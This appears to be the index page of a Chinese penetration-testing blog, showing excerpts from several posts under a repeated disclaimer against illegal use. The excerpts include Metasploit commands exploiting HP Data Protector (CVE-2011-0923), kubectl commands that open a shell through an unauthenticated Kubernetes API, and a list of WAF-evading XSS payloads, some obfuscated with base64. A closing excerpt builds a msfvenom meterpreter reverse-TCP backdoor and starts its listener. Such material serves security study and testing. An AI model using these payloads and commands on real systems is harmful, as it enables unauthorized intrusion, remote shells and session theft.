r0yanx's Blog

本文仅作为技术讨论及分享，严禁用于任何非法用途。

HP Data Protector远程命令执行（CVE-2011-0923）

HP Data Protector存在一个命令执行漏洞，恶意用户可以发送数据包导致这种特殊的服务来执行任意shell命令。这个漏洞在内网中很常见，端口为TCP5555，基本上一打一个准，这里说下利用过程，以作记录。

正常利用过程

1
2
3

msf5 > use exploit/linux/misc/hp_data_protector_cmd_exec
msf5 exploit(linux/misc/hp_data_protector_cmd_exec) > set rhosts 1.1.1.1
msf5 exploit(linux/misc/hp_data_protector_cmd_exec) > exploit

本文仅作为技术讨论及分享，严禁用于任何非法用途。

警告

本文无任何技术水平，仅用来记录一次Eternalblue-Doublepulsar利用过程，作笔记使用。

环境介绍

本次实验在虚拟机中进行，攻击机与靶机位于同一局域网内。
攻击机：Kali Linux（IP：192.168.200.130）
靶机：Windows 7 x64（IP：192.168.200.142）

本文仅作为技术讨论及分享，严禁用于任何非法用途。

前言

本文总结了一些通过cmd或者bash等shell写文件的方法，如在某些情况下，拿到了cmd shell或者bash shell，如下图：

但是靶机无法上公网和反连攻击机，然后通过echo等方式写shell的方法。受限于本人有限的知识面以及实用性等考量，这里列出的方法并不全面，仅供参考。

本文仅作为技术讨论及分享，严禁用于任何非法用途。

下载kubectl客户端

参考官方文档
因为官方从Google下载，国内下载可能比较困难，这里提供一个Windows版本的kubectl客户端（下载地址)

1

MD5:eb9039d1285045b48313766aebf3558e *kubectl.exe

获取容器shell

1
2

kubtctl.exe -s ip:port get pods
kubectl.exe -s ip:port --namespace=default exec -it <CONTAINER ID> bash

参考

Kubernetes Api Server 未授权访问漏洞

本文仅作为技术讨论及分享，严禁用于任何非法用途。

说明

这是是一些个人构造或者收集而来的成功绕过waf的payload，持续更新。

XSS PAYLOAD

1. 某waf拦截=alert、=eval等，却不拦截=console.log

   1	<svg/onload=console.log(eval(atob('YWxlcnQoJ3hzcycp')))>

2. 匹配<>中间不能有=onload等任意javascript事件，内容只匹配一次，第一个<与%3e匹配了，第二个<与最后的>匹配了，所以第一个<与最后的>中间的onload=没有被拦截

   1	<svg admin='<%00%3e' onload=alert`xss`>

3. js关键字拼接绕过，把alert函数赋值到变量，通过变量调用，可绕过函数名的拦截

   1 2 3 4

   ex1: <svg onload="var a=alert;console.log(a(1))"></svg> ex2: 11111111"><svg+onload="var+a=alert;a(1)">

4. 无事件和js代码xss

   1	<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">aaaaa</object>

5. 不闭合标签，利用了浏览器自动补全标签的特性xss

   1	<img+src=1+onerror%3Dalert(1)+aaa

6. 无尖括号，绕过disable，oninvalid事件（需要在输入框按回车触发）

   1	1123123123xss" scr="" oninvalid=a=alert;a(1) pattern="a" type="submit" a=

7. 绕过hidden，仅IE可用

   1	xss" style="behavior:url(?)" onreadystatechange="confirm(1)

本文仅作为技术讨论及分享，严禁用于任何非法用途。
本文已在Freebuf发布，但文章经Freebuf编辑改动导致有小部分错误，故在这里改正并重新发布。
原文链接： https://www.freebuf.com/vuls/185380.html

前言

最近为甲方做渗透测试发现了一个远程命令执行漏洞，可以通过构造恶意参数传递执行bash命令，本文回顾一下漏洞的挖掘过程。

本文仅作为技术讨论及分享，严禁用于任何非法用途。

前言

在WEB渗透中经常可以看到页面存在一次性token校验的情况，即请求包中包含token，而token值需通过其它页面获取，导致burpsuite抓包后无法重放。

开始

下面以一个简单例子来做个说明。目标网站如下，页面存在一个图片验证码，题目要求暴力破解得到账号密码。这题可以有多种方式实现，这里以burpsuite宏进行实验。

本文仅作为技术讨论及分享，严禁用于任何非法用途。

前言

最近在使用msf转发流量时遇到了个问题，就是使用auxiliary/server/socks4a做代理时，burpsuite不支持socks4a代理，导致无法使用burp去抓包。而使用auxiliary/server/socks5做代理却失败了，可能是脚本的bug，官方issues也有人反馈这个问题。

具体问题

演示环境

我所在的环境比较特殊，工作机（192.168.1.2，Windows）位于A地内网，MSF机器（172.16.1.2，Linux）位于B地内网，两内网不相通，但是可以通过11.11.11.11:22 SSH访问MSF机器，遂用SSH隧道将172.16.1.2:11080端口转发到工作机的127.0.0.1:1083端口，如果不清楚这个操作，可以理解为工作机访问本机127.0.0.1:1083端口等价于访问MSF机172.16.1.2:11080端口。

可以使用VMware官方的vmware tools进行压缩。
压缩前需要删除虚拟机的快照、链接克隆等，然后在虚拟机中执行：

1

vmware-toolbox-cmd disk shrink /

执行后等待进度条结束即可：

本文仅作为技术讨论及分享，严禁用于任何非法用途。

通过任意文件上传获取到ASP webshell

生成msf meterpreter后门

1

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f exe > shell1.exe  

启动监听

1
2
3
4
5

use exploit/multi/handler  
set PAYLOAD windows/meterpreter/reverse_tcp  
set LHOST x.x.x.x  
set LPORT xx  
exploit